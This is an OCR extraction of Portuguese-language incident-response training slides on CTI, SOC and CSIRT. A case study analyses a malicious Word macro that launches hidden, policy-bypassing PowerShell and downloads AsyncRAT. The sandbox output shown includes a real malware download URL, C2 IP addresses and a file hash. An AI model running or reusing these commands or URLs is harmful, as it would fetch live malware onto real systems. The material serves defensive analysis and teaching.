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CTI

Threat Intelligence

As melhores praticas:

= A convergéncia tem maior eficiéncia;

= Maior assertividade na validacao,
classificacao;

Understanding !

Technology

= Maior Agilidade por meio dos I0C

: SOC
apresentados pelo Threat Intelligence

Response

https://www.exabeam.com/incident-response/csirt/
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Logs, fluxos,
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Estudo de Caso 2 — CTI, SOC e CSIRT

Temos um powershell encodado

Sub MyMacro()
Dim Str As String
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Pela Analise Dindmica, podemos ter mais indicativos da atuacao do malware

HTTP Requests 2 | Connections DNS Requests Threats $ PCAP
Timeshift Headers Rep PID Process name CN Content

GET | 200: OK H * i 224Kb 3 executable
GET | 200: OK X ? 50.7Kb 4 compressed

Mitre ATT&CK Matrix

Tactics § Techniques 7 Events 172 Danger (2) e Warning (22) Other (148)

Execution Persistence Privilege Defense Discovery
escalation evasion

Command and Boot or Logon Boot or Logon Virtualization/Sa @ery Registry
Scripting Autostart Autostart ndbox Evasion 10 148
Interpreter (2/5) Execution (1/10) Execution (1/10) (1/3)

PowerShell y Run stry Time Based System
— < Keys / Start Evasion Information

= Discovery
Windows = 10
Command Shell

7
Virtualization/Sa
ndbox Evasion
(1/3)

Time Based
Evasion
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Analise Dinamica
Y ¥ timeout.exe
’N
m winword.exe Tviersnell.exe ﬁ :i?riexe cmd.exe

3 ¢, % #ASYNCRAT

E ? winword.exe

Indicators: & @b & E

]
¥ Get sample = Ioc () Restart

Text report Process graph ATT&CK™ matrix Export

Processes
Py
v WINWORD.EXE /n "C:\Users\admin\AppData\Local\Temp\khaosat_t... - Asy n C RAT

3k 3k 109 asyncrat

powershell.exe -Exec bypass-Nonl -W Hidden (("& ((GeT-VARIAD.. X . . .
= = e AsyncRAT is a RAT that can monitor and remotely control infected systems. This
malware was introduced on Github as a legitimate open-source remote

word.exe | PE administration software, but hackers use it for its many powerful malicious functions.

512 221 45
P Type Q Origin
cmd.exe /c "C:\Users\admin\AppData\Local\Temp\t Remote Access Trojan Likely Kuwait
445 19 18
ﬁ First seen © Lastseen

timeout.exe 3 8 January, 2019 10 May, 2023

WINWORD.exe | PE

asyncrat
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Y ¥ timeout.exe
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powershell.exe 5 word.exe - cmd.exe
A #ASYNCRAT
Ei winword.exe
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Analise Dinamica

N winword.exe
> w

Indicators: F& @b B &
) Restart

¥ Get sample = 10C
Text report Process graph ATT&CK™ matrix Export = p
= - Dropped executable file (1)

? SHA256 C:\Windows\Temp\word.exe
ab4cd620098685ebed65f6369910cdf3a95569a44be805b2casfh6459f4aaddc

Processes
s\admin\AppData\Local\Temp\khaosat_t...
109 (1
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S
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6k 1k 107
word.exe | PE Connections (2)
221 45
119.17.214.76

512
119.17.214.96

C:\Users\admin\AppData\Local\Temp\t

445 19 18
HTTP/HTTPS requests (1)

http://boyte.sytes.net/malware/word.exe

cmd.exe /c

timeout.exe 3

WINWORD.exe | PE
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Analise Dinamica

Powershell Threat Verdict [2748] Winword.exe
v [3352] Powershell.exe

4 Advanced details of process

Main information 1 0 0

v R OUT OF 100

Warning / System Destruction
Creates files in the Windows directory

Process information Operation CREATE
Device DISK_FILE_SYSTEM
Parent process
Object
Username

CREATED

READ_CONTROL, SYNCHRONIZE, FILE_WRITE_DATA, FILE_APPEND_DATA,
FILE_WRITE_EA, FILE_READ_ATTRIBUTES, FILE_WRITE_ATTRIBUTES

File information

Company Microsortt Corporation
Description
Version
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Imagem: https://eset-info.canon-its.jp/malware_info/special/detail/210728.html
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Referéncias

= https://cert.br/csirts/
= Treinamento Eccouncil Certified Incident Handler (ECIH)

= The Complete Guide to CSIRT Organization - https://www.exabeam.com/incident-

response/csirt/

= OPENCTI - https://github.com/OpenCTI-Platform/opencti
= WAZUH - https://wazuh.com/

= https://intezer.com/blog/malware-analysis/analyze-malicious-microsoft-office-files/
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